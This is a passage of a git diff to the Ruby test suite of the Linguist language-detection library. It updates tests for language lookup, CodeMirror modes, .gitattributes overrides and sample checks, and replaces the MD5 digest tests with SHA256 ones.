+    assert_equal [], Language.find_by_extension('.null')
+    assert_equal [Language['Jinja']], Language.find_by_extension('index.jinja')
+    assert_equal [Language['Chapel']], Language.find_by_extension('examples/hello.chpl')
+    assert_equal [], Language.find_by_filename('F.I.L.E.')
   end
 
   def test_find_all_by_extension
@@ -203,22 +188,17 @@ def test_find_all_by_extension
 
   def test_find_by_filename
     assert_equal [Language['Shell']], Language.find_by_filename('PKGBUILD')
-    assert_equal [Language['Ruby']], Language.find_by_filename('foo.rb')
-    assert_equal [Language['Ruby']], Language.find_by_filename('foo/bar.rb')
     assert_equal [Language['Ruby']], Language.find_by_filename('Rakefile')
-    assert_equal [Language['Ruby']], Language.find_by_filename('PKGBUILD.rb')
     assert_equal Language['ApacheConf'], Language.find_by_filename('httpd.conf').first
     assert_equal [Language['ApacheConf']], Language.find_by_filename('.htaccess')
     assert_equal Language['Nginx'], Language.find_by_filename('nginx.conf').first
-    assert_equal ['C', 'C++', 'Objective-C'], Language.find_by_filename('foo.h').map(&:name).sort
+    assert_equal [], Language.find_by_filename('foo.rb')
     assert_equal [], Language.find_by_filename('rb')
     assert_equal [], Language.find_by_filename('.null')
     assert_equal [Language['Shell']], Language.find_by_filename('.bashrc')
     assert_equal [Language['Shell']], Language.find_by_filename('bash_profile')
     assert_equal [Language['Shell']], Language.find_by_filename('.zshrc')
     assert_equal [Language['Clojure']], Language.find_by_filename('riemann.config')
-    assert_equal [Language['HTML+Django']], Language.find_by_filename('index.jinja')
-    assert_equal [Language['Chapel']], Language.find_by_filename('examples/hello.chpl')
   end
 
   def test_find_by_interpreter
@@ -280,9 +260,15 @@ def test_find_by_alias_ignores_comma
   end
 
   def test_doesnt_blow_up_with_blank_lookup
-    assert_equal nil, Language.find_by_alias('')
-    assert_equal nil, Language.find_by_name(nil)
-    assert_equal nil, Language[""]
+    assert_nil Language.find_by_alias('')
+    assert_nil Language.find_by_name(nil)
+    assert_nil Language[""]
+  end
+
+  def test_does_not_blow_up_with_non_string_lookup
+    assert_nil Language.find_by_alias(true)
+    assert_nil Language.find_by_name(true)
+    assert_nil Language[true]
   end
 
   def test_name
@@ -309,7 +295,7 @@ def test_color
     assert_equal '#701516', Language['Ruby'].color
     assert_equal '#3572A5', Language['Python'].color
     assert_equal '#f1e05a', Language['JavaScript'].color
-    assert_equal '#2b7489', Language['TypeScript'].color
+    assert_equal '#3178c6', Language['TypeScript'].color
     assert_equal '#3d9970', Language['LSL'].color
   end
 
@@ -328,9 +314,18 @@ def test_ace_mode
     assert_equal 'text', Language['FORTRAN'].ace_mode
   end
 
-  def test_ace_modes
-    assert Language.ace_modes.include?(Language['Ruby'])
-    assert Language.ace_modes.include?(Language['FORTRAN'])
+  def test_codemirror_mode
+    assert_equal 'ruby', Language['Ruby'].codemirror_mode
+    assert_equal 'javascript', Language['JavaScript'].codemirror_mode
+    assert_equal 'clike', Language['C'].codemirror_mode
+    assert_equal 'clike', Language['C++'].codemirror_mode
+  end
+
+  def test_codemirror_mime_type
+    assert_equal 'text/x-ruby', Language['Ruby'].codemirror_mime_type
+    assert_equal 'text/javascript', Language['JavaScript'].codemirror_mime_type
+    assert_equal 'text/x-csrc', Language['C'].codemirror_mime_type
+    assert_equal 'text/x-c++src', Language['C++'].codemirror_mime_type
   end
 
   def test_wrap
@@ -346,17 +341,6 @@ def test_extensions
     assert Language['SuperCollider'].extensions.include?('.scd')
   end
 
-  def test_primary_extension
-    assert_equal '.pl', Language['Perl'].primary_extension
-    assert_equal '.py', Language['Python'].primary_extension
-    assert_equal '.rb', Language['Ruby'].primary_extension
-    assert_equal '.js', Language['JavaScript'].primary_extension
-    assert_equal '.coffee', Language['CoffeeScript'].primary_extension
-    assert_equal '.t', Language['Turing'].primary_extension
-    assert_equal '.ts', Language['TypeScript'].primary_extension
-    assert_equal '.sc', Language['SuperCollider'].primary_extension
-  end
-
   def test_eql
     assert Language['Ruby'].eql?(Language['Ruby'])
     assert !Language['Ruby'].eql?(Language['Python'])
@@ -377,6 +361,14 @@ def test_all_languages_have_grammars
     assert missing.empty?, message
   end
 
+  def test_all_languages_have_scopes
+    languages = YAML.load(File.read(File.expand_path("../../lib/linguist/languages.yml", __FILE__)))
+    missing = languages.reject { |name,language| language.has_key?('tm_scope') }
+    message = "The following languages do not have a `tm_scope` field defined. Use `tm_scope: none` if the language has no grammar.\n"
+    message << missing.keys.sort.join("\n")
+    assert missing.empty?, message
+  end
+
   def test_all_languages_have_type
     missing = Language.all.select { |language| language.type.nil? }
     message = "The following languages do not have a type listed in grammars.yml. Please add types for all new languages.\n"
@@ -386,11 +378,37 @@ def test_all_languages_have_type
     assert missing.empty?, message
   end
 
+  def test_all_languages_have_a_language_id_set
+    missing = Language.all.select { |language| language.language_id.nil? }
+
+    message = "The following languages do not have a language_id listed in languages.yml. Please run `script/update-ids` as per the contribution guidelines.\n"
+    missing.each { |language| message << "#{language.name}\n" }
+    assert missing.empty?, message
+  end
+
+  def test_all_languages_have_a_valid_id
+    deleted_language_ids = [21]  # Prevent re-use of deleted language IDs
+    invalid = Language.all.select { |language| language.language_id < 0 || deleted_language_ids.include?(language.language_id) || (language.language_id > 431 && language.language_id < 1024) || language.language_id >= (2**31 - 1) }
+
+    message = "The following languages do not have a valid language_id. Please run `script/update-ids` as per the contribution guidelines.\n"
+    invalid.each { |language| message << "#{language.name}\n" }
+    assert invalid.empty?, message
+  end
+
+  def test_all_language_id_are_unique
+    duplicates = Language.all.group_by{ |language| language.language_id }.select { |k, v| v.size > 1 }.map(&:first)
+
+    message = "The following language_id are used several times in languages.yml. Please run `script/update-ids` as per the contribution guidelines.\n"
+    duplicates.each { |language_id| message << "#{language_id}\n" }
+    assert duplicates.empty?, message
+  end
+
   def test_all_languages_have_a_valid_ace_mode
     ace_fixture_path = File.join('test', 'fixtures', 'ace_modes.json')
     skip("No ace_modes.json file") unless File.exist?(ace_fixture_path)
 
-    ace_github_modes = Yajl.load(File.read(ace_fixture_path))
+    ace_modes = Yajl.load(File.read(ace_fixture_path))
+    ace_github_modes = ace_modes[0].concat(ace_modes[1])
     existing_ace_modes = ace_github_modes.map do |ace_github_mode|
       File.basename(ace_github_mode["name"], ".js") if ace_github_mode["name"]  !~ /_highlight_rules|_test|_worker/
     end.compact.uniq.sort.map(&:downcase)
@@ -404,6 +422,40 @@ def test_all_languages_have_a_valid_ace_mode
     assert missing.empty?, message
   end
 
+  def test_codemirror_modes_present
+    Language.all.each do |language|
+      if language.codemirror_mode || language.codemirror_mime_type
+        assert language.codemirror_mode, "#{language.inspect} missing CodeMirror mode"
+        assert language.codemirror_mime_type, "#{language.inspect} missing CodeMirror MIME mode"
+      end
+    end
+  end
+
+  def test_valid_codemirror_mode
+    Language.all.each do |language|
+      if mode = language.codemirror_mode
+        assert File.exist?(File.expand_path("../../vendor/CodeMirror/mode/#{mode}", __FILE__)), "#{mode} isn't a valid CodeMirror mode"
+      end
+    end
+  end
+
+  def test_codemirror_mode_and_mime_defined_by_meta_mapping
+    meta = File.read(File.expand_path("../../vendor/CodeMirror/mode/meta.js", __FILE__))
+    Language.all.each do |language|
+      next unless language.codemirror_mode && language.codemirror_mime_type
+      assert meta.match(/^.+#{Regexp.escape(language.codemirror_mime_type)}.+#{Regexp.escape(language.codemirror_mode)}.+$/), "#{language.inspect}: #{language.codemirror_mime_type} not defined under #{language.codemirror_mode}"
+    end
+  end
+
+  def test_codemirror_mime_declared_in_mode_file
+    Language.all.each do |language|
+      next unless language.codemirror_mode && language.codemirror_mime_type
+      filename = File.expand_path("../../vendor/CodeMirror/mode/#{language.codemirror_mode}/#{language.codemirror_mode}.js", __FILE__)
+      assert File.exist?(filename), "#{filename} does not exist"
+      assert File.read(filename).match(language.codemirror_mime_type), "#{language.inspect}: #{language.codemirror_mime_type} not defined in #{filename}"
+    end
+  end
+
   def test_all_popular_languages_exist
     popular = YAML.load(File.read(File.expand_path("../../lib/linguist/popular.yml", __FILE__)))
 
@@ -412,4 +464,24 @@ def test_all_popular_languages_exist
     message << missing.sort.join("\n")
     assert missing.empty?, message
   end
+
+  def test_non_crash_on_comma
+    assert_nil Language[',']
+    assert_nil Language.find_by_name(',')
+    assert_nil Language.find_by_alias(',')
+  end
+
+  def test_detect_prefers_markdown_for_md
+    blob = Linguist::FileBlob.new(File.join(samples_path, "Markdown/symlink.md"))
+    match = Linguist.detect(blob)
+    assert_equal Language["Markdown"], match
+  end
+
+  def test_fs_names
+    Language.all.each do |language|
+      next unless /[\\:*?"<>|]/.match(language.name)
+      assert language.fs_name, "#{language.name} needs an fs_name for Windows' file system."
+      assert !/[\\:*?"<>|]/.match(language.fs_name), "The fs_name for #{language.name} is invalid."
+    end
+  end
 end
diff --git a/test/test_md5.rb b/test/test_md5.rb
deleted file mode 100644
index 16b1c15bdb..0000000000
--- a/test/test_md5.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-require_relative "./helper"
-
-class TestMD5 < Minitest::Test
-  include Linguist
-
-  def test_hexdigest_string
-    assert_equal "af0ede4f95acad6d331a813dc3904c11", MD5.hexdigest("foo")
-    assert_equal "05427b9908edb6995ed76faa23e4471f", MD5.hexdigest("bar")
-  end
-
-  def test_hexdigest_symbol
-    assert_equal "450c1ae043459546517b3dd2f98250f0", MD5.hexdigest(:foo)
-    assert_equal "f06967526af9d7a512594b0a81b31ede", MD5.hexdigest(:bar)
-
-    refute_equal MD5.hexdigest("foo"), MD5.hexdigest(:foo)
-  end
-
-  def test_hexdigest_integer
-    assert_equal "7605ec17fd7fd213fdcd23cac302cbb4", MD5.hexdigest(1)
-    assert_equal "097c311a46d330e4e119ba2b1dc0f9a5", MD5.hexdigest(2)
-
-    refute_equal MD5.hexdigest("1"), MD5.hexdigest(1)
-  end
-
-  def test_hexdigest_boolean
-    assert_equal "a690a0615820e2e5c53901d8b8958509", MD5.hexdigest(true)
-    assert_equal "fca6a9b459e702fa93513c6a8b8c5dfe", MD5.hexdigest(false)
-
-    refute_equal MD5.hexdigest("true"), MD5.hexdigest(true)
-    refute_equal MD5.hexdigest("false"), MD5.hexdigest(false)
-  end
-
-  def test_hexdigest_nil
-    assert_equal "35589a1cc0b3ca90fc52d0e711c0c434", MD5.hexdigest(nil)
-
-    refute_equal MD5.hexdigest("nil"), MD5.hexdigest(nil)
-  end
-
-  def test_hexdigest_array
-    assert_equal "4410ec34d9e6c1a68100ca0ce033fb17", MD5.hexdigest([])
-    assert_equal "759f28c1d0c20c22e79c91d339855d95", MD5.hexdigest([1])
-    assert_equal "9efe07b352dd94cd1cdc9d1a8d054f8f", MD5.hexdigest([1, 2])
-    assert_equal "60b1ef7201404f20c3d12f47499c3a1f", MD5.hexdigest([1, 2, 3])
-    assert_equal "2f82cdc166616208077ff1dd0a8faeff", MD5.hexdigest([1, 2, [3]])
-  end
-
-  def test_hexdigest_hash
-    assert_equal "fae8a9257e154175da4193dbf6552ef6", MD5.hexdigest({})
-    assert_equal "868ee214faf277829a85667cf332749f", MD5.hexdigest({:a => 1})
-    assert_equal "fa9df957c2b26de6fcca9d062ea8701e", MD5.hexdigest({:b => 2})
-
-    refute_equal MD5.hexdigest([:b, 2]), MD5.hexdigest({:b => 2})
-
-    assert_equal MD5.hexdigest({:b => 2, :a => 1}), MD5.hexdigest({:a => 1, :b => 2})
-    assert_equal MD5.hexdigest({:c => 3, :b => 2, :a => 1}), MD5.hexdigest({:a => 1, :b => 2, :c => 3})
-  end
-end
diff --git a/test/test_modelines.rb b/test/test_modelines.rb
deleted file mode 100644
index 192da9d438..0000000000
--- a/test/test_modelines.rb
+++ /dev/null
@@ -1,56 +0,0 @@
-require_relative "./helper"
-
-class TestModelines < Minitest::Test
-  include Linguist
-
-  def assert_modeline(language, blob)
-    assert_equal language, Linguist::Strategy::Modeline.call(blob).first
-  end
-
-  def test_modeline_strategy
-    assert_modeline Language["Ruby"], fixture_blob("Data/Modelines/ruby")
-    assert_modeline Language["Ruby"], fixture_blob("Data/Modelines/ruby2")
-    assert_modeline Language["Ruby"], fixture_blob("Data/Modelines/ruby3")
-    assert_modeline Language["Ruby"], fixture_blob("Data/Modelines/ruby4")
-    assert_modeline Language["Ruby"], fixture_blob("Data/Modelines/ruby5")
-    assert_modeline Language["Ruby"], fixture_blob("Data/Modelines/ruby6")
-    assert_modeline Language["Ruby"], fixture_blob("Data/Modelines/ruby7")
-    assert_modeline Language["Ruby"], fixture_blob("Data/Modelines/ruby8")
-    assert_modeline Language["Ruby"], fixture_blob("Data/Modelines/ruby9")
-    assert_modeline Language["C++"], fixture_blob("Data/Modelines/seeplusplus")
-    assert_modeline Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs1")
-    assert_modeline Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs2")
-    assert_modeline Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs3")
-    assert_modeline Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs4")
-    assert_modeline Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs5")
-    assert_modeline Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs6")
-    assert_modeline Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs7")
-    assert_modeline Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs8")
-    assert_modeline Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs9")
-    assert_modeline Language["Text"], fixture_blob("Data/Modelines/fundamentalEmacs.c")
-    assert_modeline Language["Prolog"], fixture_blob("Data/Modelines/not_perl.pl")
-    assert_modeline Language["Smalltalk"], fixture_blob("Data/Modelines/example_smalltalk.md")
-    assert_modeline Language["PHP"], fixture_blob("Data/Modelines/iamphp.inc")
-    assert_modeline nil, sample_blob("C/main.c")
-  end
-
-  def test_modeline_languages
-    assert_equal Language["Ruby"], fixture_blob("Data/Modelines/ruby").language
-    assert_equal Language["Ruby"], fixture_blob("Data/Modelines/ruby2").language
-    assert_equal Language["Ruby"], fixture_blob("Data/Modelines/ruby3").language
-    assert_equal Language["C++"], fixture_blob("Data/Modelines/seeplusplus").language
-    assert_equal Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs1").language
-    assert_equal Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs2").language
-    assert_equal Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs3").language
-    assert_equal Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs4").language
-    assert_equal Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs5").language
-    assert_equal Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs6").language
-    assert_equal Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs7").language
-    assert_equal Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs8").language
-    assert_equal Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs9").language
-    assert_equal Language["Text"], fixture_blob("Data/Modelines/fundamentalEmacs.c").language
-    assert_equal Language["Prolog"], fixture_blob("Data/Modelines/not_perl.pl").language
-    assert_equal Language["Smalltalk"], fixture_blob("Data/Modelines/example_smalltalk.md").language
-    assert_equal Language["PHP"], fixture_blob("Data/Modelines/iamphp.inc").language
-  end
-end
diff --git a/test/test_pedantic.rb b/test/test_pedantic.rb
index d34f292eaf..ed9fef7eec 100644
--- a/test/test_pedantic.rb
+++ b/test/test_pedantic.rb
@@ -4,6 +4,8 @@ class TestPedantic < Minitest::Test
   filename = File.expand_path("../../lib/linguist/languages.yml", __FILE__)
   LANGUAGES = YAML.load(File.read(filename))
   GRAMMARS = YAML.load(File.read(File.expand_path("../../grammars.yml", __FILE__)))
+  GENERICS = YAML.load_file(File.expand_path("../../lib/linguist/generic.yml", __FILE__))
+  HEURISTICS = YAML.load_file(File.expand_path("../../lib/linguist/heuristics.yml", __FILE__))
 
   def test_language_names_are_sorted
     assert_sorted LANGUAGES.keys
@@ -22,6 +24,10 @@ def test_filenames_are_sorted
     end
   end
 
+  def test_generics_are_sorted
+    assert_sorted GENERICS.keys
+  end
+
   def test_grammars_are_sorted
     assert_sorted GRAMMARS.keys
   end
@@ -33,20 +39,64 @@ def test_scopes_are_sorted
   end
 
   def test_heuristics_are_sorted
-    file = File.expand_path("../../lib/linguist/heuristics.rb", __FILE__)
-    heuristics = open(file).each.grep(/^ *disambiguate/)
-    assert_sorted heuristics
+    disambiguations = HEURISTICS['disambiguations']
+    assert_sorted disambiguations.map { |r| r['extensions'][0] }
+    assert_sorted HEURISTICS['named_patterns'].keys
   end
 
   def test_heuristics_tests_are_sorted
     file = File.expand_path("../test_heuristics.rb", __FILE__)
-    tests = open(file).each.grep(/^ *def test_[a-z_]+_by_heuristics/)
+    tests = File.open(file).each.grep(/^ *def test_[0-9a-z_]+_by_heuristics/)
     assert_sorted tests
   end
 
+  def test_heuristics_tests_are_exhaustive
+    file = File.expand_path("../test_heuristics.rb", __FILE__)
+    tests = File.open(file).each.grep(/^ *def test_[0-9a-z_]+_by_heuristics/)
+    tests = tests.map { |s| s.match(/test_(.*)_by_heuristic/).captures[0] }
+
+    extensions = HEURISTICS['disambiguations'].map { |r| r['extensions'] }
+    extensions = extensions.flatten(1).map { |e| e[1..-1] }
+
+    extensions.each do |ext|
+      assert tests.include?(ext), "Extension .#{ext} has no test in test_heuristics.rb"
+    end
+  end
+
+  def test_submodules_are_sorted
+    system(File.expand_path("../../script/sort-submodules", __FILE__) + " -t")
+    assert $?.success?
+  end
+
   def assert_sorted(list)
     list.each_cons(2) do |previous, item|
       flunk "#{previous} should come after #{item}" if previous > item
     end
   end
+
+  def test_no_unknown_fields
+    known_fields = <<~END.split("\n")
+      ace_mode
+      aliases
+      codemirror_mime_type
+      codemirror_mode
+      color
+      extensions
+      filenames
+      fs_name
+      group
+      interpreters
+      language_id
+      searchable
+      tm_scope
+      type
+      wrap
+    END
+    LANGUAGES.each do |name, language|
+      unknown_fields = language.keys.reject { |key| known_fields.include?(key) }
+      message = "Language '#{name}' has the following unknown field(s):\n"
+      message << unknown_fields.map { |key| sprintf("  - %s: %s", key, language[key]) }.sort.join("\n")
+      assert unknown_fields.empty?, message
+    end
+  end
 end
diff --git a/test/test_repository.rb b/test/test_repository.rb
index 0a81fae13d..125f7a8a0c 100644
--- a/test/test_repository.rb
+++ b/test/test_repository.rb
@@ -6,7 +6,7 @@ def rugged_repository
   end
 
   def master_oid
-    'd40b4a33deba710e2f494db357c654fbe5d4b419'
+    '7dbcffcf982e766fc711e633322de848f2b60ba5'
   end
 
   def linguist_repo(oid = master_oid)
@@ -27,7 +27,7 @@ def test_linguist_size
 
   def test_linguist_breakdown
     assert linguist_repo.breakdown_by_file.has_key?("Ruby")
-    assert linguist_repo.breakdown_by_file["Ruby"].include?("bin/linguist")
+    assert linguist_repo.breakdown_by_file["Ruby"].include?("bin/github-linguist")
     assert linguist_repo.breakdown_by_file["Ruby"].include?("lib/linguist/language.rb")
   end
 
@@ -47,16 +47,24 @@ def test_incremental_stats
   end
 
   def test_repo_git_attributes
-    # See https://github.com/github/linguist/blob/351c1cc8fd57340839bdb400d7812332af80e9bd/.gitattributes
+    # See https://github.com/github/linguist/blob/72a89fc9dcd3585250056ab591f9d7e2411d5fa1/.gitattributes
     #
     # It looks like this:
     # Gemfile linguist-vendored=true
     # lib/linguist.rb linguist-language=Java
     # test/*.rb linguist-language=Java
     # Rakefile linguist-generated
-    # test/fixtures/* linguist-vendored=false
-
-    attr_commit = '351c1cc8fd57340839bdb400d7812332af80e9bd'
+    # test/fixtures/** linguist-vendored=false
+    # README.md linguist-documentation=false
+    # samples/Arduino/* linguist-documentation
+    # samples/Markdown/*.md linguist-detectable=true
+    # samples/HTML/*.html linguist-detectable=false
+    # samples/CSS/bootstrap.css -linguist-vendored
+    # samples/CSS/bootstrap.min.css -linguist-generated
+    # LICENSE -linguist-documentation
+    # samples/CoffeeScript/browser.coffee -linguist-detectable
+
+    attr_commit = '72a89fc9dcd3585250056ab591f9d7e2411d5fa1'
     repo = linguist_repo(attr_commit)
 
     assert repo.breakdown_by_file.has_key?("Java")
@@ -64,6 +72,12 @@ def test_repo_git_attributes
 
     assert repo.breakdown_by_file.has_key?("Ruby")
     assert !repo.breakdown_by_file["Ruby"].empty?
+
+    # Ensures the filename that contains unicode char is UTF-8 encoded and invalid chars scrubbed
+    assert repo.breakdown_by_file.has_key?("Raku")
+    assert repo.breakdown_by_file["Raku"].include?("test/fixtures/ba�r/file_ã.pl")
+    assert_equal "UTF-8", repo.breakdown_by_file["Raku"].first.encoding.to_s
+    assert repo.breakdown_by_file["Raku"].first.valid_encoding?
   end
 
   def test_commit_with_git_attributes_data
@@ -73,14 +87,14 @@ def test_commit_with_git_attributes_data
 
     # With some .gitattributes data
     attr_commit = '7ee006cbcb2d7261f9e648510a684ee9ac64126b'
-    # It's incremental but should bust the cache
-    new_repo = Linguist::Repository.incremental(rugged_repository, attr_commit, old_commit, old_repo.cache)
+    # It's incremental but now is scanning more data and should bust the cache
+    new_repo = Linguist::Repository.incremental(rugged_repository, attr_commit, old_commit, old_repo.cache, 350_000)
 
     assert new_repo.breakdown_by_file["Java"].include?("lib/linguist.rb")
   end
 
   def test_linguist_override_vendored?
-    attr_commit = '351c1cc8fd57340839bdb400d7812332af80e9bd'
+    attr_commit = '72a89fc9dcd3585250056ab591f9d7e2411d5fa1'
     linguist_repo(attr_commit).read_index
 
     override_vendored = Linguist::LazyBlob.new(rugged_repository, attr_commit, 'Gemfile')
@@ -90,35 +104,58 @@ def test_linguist_override_vendored?
   end
 
   def test_linguist_override_unvendored?
-    attr_commit = '351c1cc8fd57340839bdb400d7812332af80e9bd'
+    attr_commit = '01d6b9c637a7a6581fe456c600725b68f355b295'
     linguist_repo(attr_commit).read_index
 
     # lib/linguist/vendor.yml defines this as vendored.
     override_unvendored = Linguist::LazyBlob.new(rugged_repository, attr_commit, 'test/fixtures/foo.rb')
+    # test -linguist-vendored attribute method
+    override_unvendored_minus = Linguist::LazyBlob.new(rugged_repository, attr_commit, 'samples/CSS/bootstrap.css')
 
     # overridden .gitattributes
-    assert !override_unvendored.vendored?
+    refute override_unvendored.vendored?
+    refute override_unvendored_minus.vendored?
   end
 
   def test_linguist_override_documentation?
-    attr_commit = "d4c8fb8a28e91f97a7e53428a365c0abbac36d3d"
+    attr_commit = "01d6b9c637a7a6581fe456c600725b68f355b295"
     linguist_repo(attr_commit).read_index
 
     readme = Linguist::LazyBlob.new(rugged_repository, attr_commit, "README.md")
     arduino = Linguist::LazyBlob.new(rugged_repository, attr_commit, "samples/Arduino/hello.ino")
+    # test -linguist-documentation attribute method
+    minus = Linguist::LazyBlob.new(rugged_repository, attr_commit, "LICENSE")
 
     # overridden by .gitattributes
     refute_predicate readme, :documentation?
     assert_predicate arduino, :documentation?
+    refute_predicate minus, :documentation?
   end
 
   def test_linguist_override_generated?
-    attr_commit = "351c1cc8fd57340839bdb400d7812332af80e9bd"
+    attr_commit = "01d6b9c637a7a6581fe456c600725b68f355b295"
     linguist_repo(attr_commit).read_index
 
     rakefile = Linguist::LazyBlob.new(rugged_repository, attr_commit, "Rakefile")
-
+    # test  -linguist-generated attribute method
+    minus = Linguist::LazyBlob.new(rugged_repository, attr_commit, "samples/CSS/bootstrap.min.css")
     # overridden .gitattributes
     assert rakefile.generated?
+    refute minus.generated?
+  end
+
+  def test_linguist_override_detectable?
+    attr_commit = "01d6b9c637a7a6581fe456c600725b68f355b295"
+    linguist_repo(attr_commit).read_index
+
+    # markdown is overridden by .gitattributes to be detectable, html to not be detectable
+    markdown = Linguist::LazyBlob.new(rugged_repository, attr_commit, "samples/Markdown/tender.md")
+    html = Linguist::LazyBlob.new(rugged_repository, attr_commit, "samples/HTML/pages.html")
+    # test  -linguist-detectable attribute method
+    minus = Linguist::LazyBlob.new(rugged_repository, attr_commit, "samples/CoffeeScript/browser.coffee")
+
+    assert_predicate markdown, :detectable?
+    refute_predicate html, :detectable?
+    refute_predicate minus, :detectable?
   end
 end
diff --git a/test/test_samples.rb b/test/test_samples.rb
index 0a357da55b..96053b6d9e 100644
--- a/test/test_samples.rb
+++ b/test/test_samples.rb
@@ -9,7 +9,7 @@ def test_up_to_date
     assert latest = Samples.data
 
     # Just warn, it shouldn't scare people off by breaking the build.
-    if serialized['md5'] != latest['md5']
+    if serialized['sha256'] != latest['sha256']
       warn "Samples database is out of date. Run `bundle exec rake samples`."
 
       expected = Tempfile.new('expected.json')
@@ -28,10 +28,13 @@ def test_up_to_date
   def test_verify
     assert data = Samples.cache
 
-    assert_equal data['languages_total'], data['languages'].inject(0) { |n, (_, c)| n += c }
-    assert_equal data['tokens_total'], data['language_tokens'].inject(0) { |n, (_, c)| n += c }
-    assert_equal data['tokens_total'], data['tokens'].inject(0) { |n, (_, ts)| n += ts.inject(0) { |m, (_, c)| m += c } }
+    assert !data["vocabulary"].empty?
+    assert !data["icf"].empty?
+    assert !data["centroids"].empty?
+    assert_equal data["icf"].size, data["vocabulary"].size
+    assert !data["extnames"].empty?
     assert !data["interpreters"].empty?
+    assert !data["filenames"].empty?
   end
 
   def test_ext_or_shebang
@@ -42,6 +45,16 @@ def test_ext_or_shebang
     end
   end
 
+  def test_filename_listed
+    Samples.each do |sample|
+      if sample[:filename]
+        listed_filenames = Language[sample[:language]].filenames
+        listed_filenames -= ["HOSTS"] if ["Hosts File", "INI"].include?(sample[:language])
+        assert_includes listed_filenames, sample[:filename], "#{sample[:path]} isn't listed as a filename for #{sample[:language]} in languages.yml"
+      end
+    end
+  end
+
   # Check that there aren't samples with extensions or interpreters that
   # aren't explicitly defined in languages.yml
   languages_yml = File.expand_path("../../lib/linguist/languages.yml", __FILE__)
@@ -73,13 +86,17 @@ def test_ext_or_shebang
         # Check for samples if more than one language matches the given extension.
         if language_matches.length > 1
           language_matches.each do |match|
-            samples = "samples/#{match.name}/*#{extension}"
-            assert Dir.glob(samples, File::FNM_CASEFOLD).any?, "Missing samples in #{samples.inspect}. See https://github.com/github/linguist/blob/master/CONTRIBUTING.md"
+            generic = Strategy::Extension.generic? extension
+            samples = generic ? "test/fixtures/Generic/#{extension.sub(/^\./, "")}/#{match.name}/*" : "samples/#{match.name}/*#{case_insensitive_glob(extension)}"
+            assert Dir.glob(samples).any?, "Missing samples in #{samples.inspect}. See https://github.com/github/linguist/blob/master/CONTRIBUTING.md"
           end
         end
       end
 
       language.filenames.each do |filename|
+        # Kludge for an unusual edge-case; see https://bit.ly/41EyUkU
+        next if ["Hosts File", "INI"].include?(language.name) && filename == "HOSTS"
+
         # Check for samples if more than one language matches the given filename
         if Language.find_by_filename(filename).size > 1
           sample = "samples/#{language.name}/filenames/#{filename}"
@@ -89,4 +106,12 @@ def test_ext_or_shebang
       end
     end
   end
+
+  def case_insensitive_glob(extension)
+    glob = ""
+    extension.each_char do |c|
+      glob += c.downcase != c.upcase ? "[#{c.downcase}#{c.upcase}]" : c
+    end
+    glob
+  end
 end
diff --git a/test/test_sha256.rb b/test/test_sha256.rb
new file mode 100644
index 0000000000..69e1438bfe
--- /dev/null
+++ b/test/test_sha256.rb
@@ -0,0 +1,77 @@
+require_relative "./helper"
+
+class TestSHA256 < Minitest::Test
+  include Linguist
+
+  def test_hexdigest_string
+    assert_equal "15020d93a6f635366cb20229cb3931c3651992dc6df85cddecc743fa11e48a66", SHA256.hexdigest("foo")
+    assert_equal "3da77c2b08c7d29fe3d936b7918039941c0881065dde07d0af9d280d2d475d00", SHA256.hexdigest("bar")
+  end
+
+  def test_hexdigest_symbol
+    assert_equal "dea6712e86478d2ee22a35a8c5ac9627e7cbc5ce2407a7da7c645fea2434fe9b", SHA256.hexdigest(:foo)
+    assert_equal "9e414b095a78ef4c2ae6f74dc6898f653c6590554ff36719d4803733a6d910e3", SHA256.hexdigest(:bar)
+
+    refute_equal SHA256.hexdigest("foo"), SHA256.hexdigest(:foo)
+  end
+
+  def test_hexdigest_integer
+    # Ruby 2.4.0 merged Bignum and Fixnum into Integer which means we get different digests
+    if Gem::Version.new(RUBY_VERSION) >= Gem::Version.new("2.4.0")
+      assert_equal "e2e98cd680460c0cecd76714d94e601be9b629ad16ae45251fa30366f62007bb", SHA256.hexdigest(1)
+      assert_equal "88159e413c4a97194ee0d8b082ebfd54ce3f9985b58270d3bf59a6e6186f8da6", SHA256.hexdigest(2)
+    else
+      assert_equal "d9af1c504ce3dc080973d6de94d44884482fcee3ff04fd430c5aba2e4d1ba2cd", SHA256.hexdigest(1)
+      assert_equal "1a4dfbfcf67bc80f3dbade7083386362d8f40db225cbd8e41e61199599f334c3", SHA256.hexdigest(2)
+    end
+
+    refute_equal SHA256.hexdigest("1"), SHA256.hexdigest(1)
+  end
+
+  def test_hexdigest_boolean
+    assert_equal "92de503a8b413365fc38050c7dd4bacf28b0f705e744dacebcaa89f2032dcd67", SHA256.hexdigest(true)
+    assert_equal "bdfd64a7c8febcc3b0b8fb05d60c8e2a4cb6b8c081fcba20db1c9778e9beaf89", SHA256.hexdigest(false)
+
+    refute_equal SHA256.hexdigest("true"), SHA256.hexdigest(true)
+    refute_equal SHA256.hexdigest("false"), SHA256.hexdigest(false)
+  end
+
+  def test_hexdigest_nil
+    assert_equal "9bda381dac87b1c16b04f996abb623f43f1cdb89ce8be7dda3f67319dc440bc5", SHA256.hexdigest(nil)
+
+    refute_equal SHA256.hexdigest("nil"), SHA256.hexdigest(nil)
+  end
+
+  def test_hexdigest_array
+    assert_equal "f0cf39d0be3efbb6f86ac2404100ff7e055c17ded946a06808d66f89ca03a811", SHA256.hexdigest([])
+    # Ruby 2.4.0 merged Bignum and Fixnum into Integer which means we get different digests
+    if Gem::Version.new(RUBY_VERSION) >= Gem::Version.new("2.4.0")
